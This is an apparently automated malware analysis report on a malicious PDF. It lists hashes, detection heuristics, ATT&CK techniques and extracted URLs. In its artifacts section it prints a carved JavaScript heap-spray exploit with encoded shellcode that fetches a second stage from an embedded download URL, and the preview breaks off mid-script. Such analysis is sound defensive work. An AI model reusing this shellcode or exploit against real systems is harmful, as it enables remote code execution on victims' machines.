Malicious PDF — malware analysis report

Static analysis result for SHA-256 4f0589cfa888cc95…

MALICIOUS

PDF

12.8 KB Created: ÁLë_2Tý«‰:AޚõÌÏ$r>² Authoring application: {‰Ù~d›™ñ #žª¹ç;÷3þI¤Ä-Ò¦U/ºB«&‰Ð/\ (via {‰) First seen: 2026-05-08
MD5: 4b8e5877a4cbc6515d3f7feeff192f1e SHA-1: cb6ae2a1722ef4d9300f116467738ad7dbc78d46 SHA-256: 4f0589cfa888cc95b68d532d4820ae092a6237afecbc1e24858aa1da1979f22d
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

The PDF file contains embedded JavaScript, which is used to encrypt the document's content, hiding the payload from static analysis. This technique is often employed to deliver malicious content or facilitate further exploitation. The presence of JavaScript actions and embedded JS streams, combined with the PDF encryption heuristic, strongly suggests an attempt to conceal malicious code execution. The document body text is unreadable, providing no further context on the lure.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9987

Heuristics 6

  • Encrypted PDF carries /JavaScript — payload hidden from static analysis high PDF_ENCRYPTED_WITH_JS
    PDF declares /Encrypt and also references an executable trigger (/JavaScript). Document encryption hides the JavaScript body and stream contents from static scanners — combined with auto-execution indicators this is a known evasion pattern used to deliver weaponised JavaScript that the analyst cannot inspect without the decryption key.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://qseft-qseft.comule.com/f.php?geticon Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://www.aiim.org/pdfa/ns/extension/In PDF document text
    • http://www.aiim.org/pdfa/ns/schema#In PDF document text
    • http://www.aiim.org/pdfa/ns/property#In PDF document text
    • http://www.aiim.org/pdfa/ns/id/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x15F2 2047 bytes
SHA-256: 02af3658b6c18b76d99ea018d0c15d6125bcfcea7028397f8b8f94166613a14a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var fURL="%u7468%u7074%u2f3a%u712f%u6573%u7466%u712d%u6573%u7466%u632e%u6d6f%u6c75%u2e65%u6f63%u2f6d%u2e66%u6870%u3f70%u6567%u6974%u6f63%u006e";try
{
	var sc=unescape("%u9090%u9090%u9c60%u00e8%u0000%u5d00%ued83%uba0b%u0022%u0000%uea01%uc031%ueeb9%u0001%ud200%u420a%ufbe2%u184c%u1846%u6001%u208b%u7103%ue007%u17b6%u0440%ub062%u08fb%u0000%u0bbe%u0040%u4700%u00cb%u0000%ub062%u004f%u0000%u92be%u0040%u4700%u008b%u0000%ub062%u008f%u0000%ued31%u9faf%u0000%u7f00%u8009%u0000%uab8e%u0000%uc400%u30ba%u482c%u0004%u2900%u0c9a%u86ff%u12ea%u0001%u2000%u89ae%u02db%u45c2%ua621%u1070%u0000%u6084%uc01d%u2088%u8cc8%uf7eb%u8322%uf523%u02a7%u0000%u9eef%u0010%ud100%u003a%u0000%u9a35%ud526%u6181%u2042%u0000%u1349%uc0ea%u02b0%u0020%ua400%uff53%ud734%u08fc%u0000%uedbf%u0040%u4700%u0050%u0000%ua09a%u9a35%ud526%u6181%u2042%u0000%ua649%uff53%ub334%u1e16%udd04%uf701%u6ad4%uff65%ue956%u0000%uea00%uff05%uf156%u0000%u7800%u0000%u0000%u0000%u0000%u2bb6%udcc9%u3665%u46cc%u23e2%ud8b1%ua300%u8e59%u2b45%ue0b5%ub050%u0d1d%u0014%ude31%u3261%u2d13%u9326%ue485%ua279%u281e%u3a00%ue895%u3950%u6cdb%u2314%ue491%ub965%u00dc%u7710%ue526%ufb89%u180c%uabea%u52f7%uc4f7%u267e%uf50c%u00f0%u0000%ub6c0%u08fb%u0000%ud666%ub0c0%u08fb%u0000%u388b%u701e%ue06c%u6b0c%u80bf%u0000%uedd8%u020f%u0000%u606b%ufd58%u0004%ud500%u606b%ufd58%u0004%u2800%ub5ea%u2c30%u02fe%u0000%ucbea%ude13%uacb6%uc203%u20ef%u0000%u8d26%ueb89%u9f54%u353f%ue865%u2f04%u7dd0%uf29e%ua34e%u81e0%u7961%u0010%u6200%u4bf6%ub599%u071c%u0608%ue185%u0040%u4c00%u5b1b%uc203%u20ef%u0000%u000f%u0000%u0000%u0000%u0000%u0000%u0000%u0000%ue600%ub268%u8d1b%u9133%uc8b8%u366c%u6a00%u2b86%ud8b1%u3c45%u6c59%ua357%u8295%uba00%u8d9c%u7bd6%u5cb9%u3664%u001b%u9255%u8831%ubb6f%u8d9b%u0bf6%ua891%u236f%u8d5a%u0a56%ud400%u3b61%uc558%uc356%u0095"+fURL);
	var v1="";
	for(v2=128;v2 >=0;--v2)
	{
		v1+=unescape("%u27b1%u9796");
	}
	v3=v1+sc;
	v4=unescape("%u27b1%u9796");
	v6=v3.length+20;
	while(v4.length<v6)
	{
		v4+=v4;
	}
	v7=v4.substring(0,v6);
	v8=v4.substring(0,v4.length-v6);
	while(v8.length+v6<0x40000)
	{
		v8=v
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xB3F 4530 bytes
SHA-256: 6293c782c832736573d5e2eade8a5787852b286100877c3b03d65f6765b38942
Preview script
First 1,000 lines of the extracted script
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